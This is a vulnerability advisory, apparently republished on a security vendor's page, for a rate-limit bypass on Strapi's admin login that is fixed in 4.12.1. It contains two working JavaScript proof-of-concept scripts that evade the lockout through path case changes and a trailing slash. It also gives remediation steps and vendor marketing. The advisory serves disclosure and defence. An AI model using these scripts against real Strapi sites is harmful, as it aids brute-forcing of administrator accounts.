EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@strapi/adminnpm@strapi/plugin-users-permissionsnpmDescription
1. Summary
There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.
2. Details
It is possible to avoid this by modifying the rate-limited request path as follows.
- Manipulating request paths to upper or lower case. (Pattern 1)
- In this case, avoidance is possible with various patterns.
- Add path slashes to the end of the request path. (Pattern 2)
3. PoC
Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.
Pattern 1 (uppercase and lowercase)
// poc.js
(async () => {
const data1 = {
email: "[email protected]", // registered e-mail address
password: "invalid_password",
};
const data2 = {
email: "[email protected]",
password: "RyG5z-CE2-]*4e4", // correct password
};
for (let i = 0; i < 30; i++) {
await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data1),
headers: {
"Content-Type": "application/json",
},
});
}
const res1 = await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res1.status + " " + res1.statusText);
const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
- Request 30 incorrect logins.
- Execute the same request again and confirm that it is blocked by rate limit from the console screen. (
429 Too Many Requests) - Next, falsify the pathname of the request (
/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)
Pattern 2 (trailing slash)
// poc.js
(async () => {
const data1 = {
email: "[email protected]", // registered e-mail address
password: "invalid_password",
};
const data2 = {
email: "[email protected]",
password: "RyG5z-CE2-]*4e4", // correct password
};
for (let i = 0; i < 30; i++) {
await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data1),
headers: {
"Content-Type": "application/json",
},
});
}
const res1 = await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res1.status + " " + res1.statusText);
const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
- Request 30 incorrect logins.
- Execute the same request again and confirm that it is blocked by rate limit from the console screen. (
429 Too Many Requests) - Next, falsify the pathname of the request (
/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)
PoC Video
4. Impact
It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases.
5. Measures
Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path)
Also, remove any extra slashes in the request path.
6. References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @strapi/admin | all versions | 4.12.1 |
| 📦npm | @strapi/plugin-users-permissions | all versions | 4.12.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @strapi/admin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @strapi/admin to 4.12.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-24q2-59hm-rh9r is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-24q2-59hm-rh9r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-24q2-59hm-rh9r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-24q2-59hm-rh9r in your dependencies?
O3 detects GHSA-24q2-59hm-rh9r across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.